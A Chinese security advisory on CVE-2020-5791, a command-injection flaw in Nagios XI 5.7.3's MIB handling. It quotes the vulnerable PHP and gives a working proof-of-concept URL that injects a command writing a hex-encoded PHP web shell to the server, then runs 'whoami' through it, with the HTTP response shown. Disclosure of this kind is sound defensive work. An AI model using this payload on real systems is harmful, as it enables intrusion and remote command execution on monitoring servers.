CVE-2020-5791 | Nagios XI遠程代碼執行漏洞通告

發布時間 2020-10-28

0x00 漏洞概述

CNVD   ID

CVE-2020-5791

時    間

2020-10-28

類    型

RCE

等    級

高危

遠程利用

影響范圍

Nagios XI 5.7.3

 

Nagios XI是一個建立在Nagios核心上的企業級監測和報警方案的開源組件。功能包括PHP網站界面、綜合表現圖、可定制的儀表板、網絡結構、配置GUI(圖形用戶接口)、用戶管理等。

 

0x01 漏洞詳情

image.png

 

2020年10月15日,Nagios開發團隊發布安全公告稱Nagios XI 5.7.3中存在多個安全漏洞,其中較為嚴重的是一個遠程代碼執行漏洞(CVE-2020-5791),其CVSS評分7.2。

該漏洞存在于/nagiosxi/admin/mibs.php文件中。攻擊者可能利用此漏洞以“apache”用戶執行任意命令。具體來說,當HTTP參數“mode”等于“undo-processing”并且“type”參數等于1時,“file”參數最終將被傳遞給PHP exec()函數,而不需進行清理。以下代碼顯示了這一點:

function route_request()

{

    global $request;

 

    $mode = '';

    if (isset($request['mode'])) {

        $mode = $request['mode'];   

    }

 

    switch ($mode) {

        ...

        case 'undo-processing':

            undo_process_single(); // VULN

            break;

       ...

    }  

...

}

 

function undo_process_single() {

    // Mode needs to be based on processing type of MIB, not on 'current' processing type

 

    $file = grab_request_var('file', '');

    $name = grab_request_var('name', '');

    $current_type = intval(grab_request_var('type', MIB_UPLOAD_DO_NOTHING));

 

    if ($current_type !== MIB_UPLOAD_PROCESS_ONLY && $current_type !== MIB_UPLOAD_NXTI) {

        show_mibs(false, _("No processing to be undone"));

    }

 

    undo_processing($file, $name, $current_type);  // VULN

 

    show_mibs(false, sprintf(_("Successfully reverted %s to 'uploaded' state"), $name));

}

 

function undo_processing($file, $name, $current_type) {

 

    if ($current_type !== MIB_UPLOAD_PROCESS_ONLY && $current_type !== MIB_UPLOAD_NXTI) {

        return;

    }

 

    $current_conf_path = get_processing_destination($current_type) . '/' . $file;

 

    remove_snmpttconvertmib_files(array($file));

 

    if ($current_type === MIB_UPLOAD_PROCESS_ONLY) {

        $get_event_names_cmd = get_root_dir() . "/scripts/nxti_import.php $current_conf_path --no-insert";

        exec($get_event_names_cmd, $all_events, $rc); // VULN

        $all_events = array_unique($all_events);

 

        remove_from_snmptt_conf($all_events);

    }

 

    mibs_revert_db_entry($name);

}

 

 

此漏洞的POC如下:

攻擊者將以下鏈接發送給Nagios XI管理員:

http://192.168.x.x/nagiosxi/admin/mibs.php?mode=undo-processing&type=1&file=%3becho+-ne+"\x3c\x3f\x70\x68\x70\x20\x73\x79\x73\x74\x65\x6d\x28\x24\x5f\x47\x45\x54\x5b\x27\x63\x6d\x64\x27\x5d\x29\x3b\x20\x3f\x3e">/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/scooby.php

管理員單擊鏈接后,將創建scooby.php文件,攻擊者可以訪問新創建的PHP腳本來執行更多命令。

http://192.168.x.x/nagiosxi/includes/components/autodiscovery/jobs/scooby.php?cmd=whoami

 

注意響應中的“apache”:

HTTP/1.1 200 OK

Date: Thu, 24 Sep 2020 21:09:56 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16

X-Powered-By: PHP/5.4.16

Content-Length: 19

Connection: close

Content-Type: text/html; charset=UTF-8

 

apache

 --no-insert

 

0x02 處置建議

升級到最新版本。

下載鏈接:

https://www.nagios.com/downloads/nagios-xi/

 

0x03 參考鏈接

https://www.nagios.com/products/security/

https://www.nagios.com/downloads/nagios-xi/change-log/

https://zh-cn.tenable.com/security/research/tra-2020-58?tns_redirect=true

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5791

 

0x04 時間線

2020-10-15  Nagios發布安全公告

2020-10-28  VSRC發布安全通告

 

0x05 附錄

 

CVSS評分標準官網:http://www.first.org/cvss/

 

 

 

image.png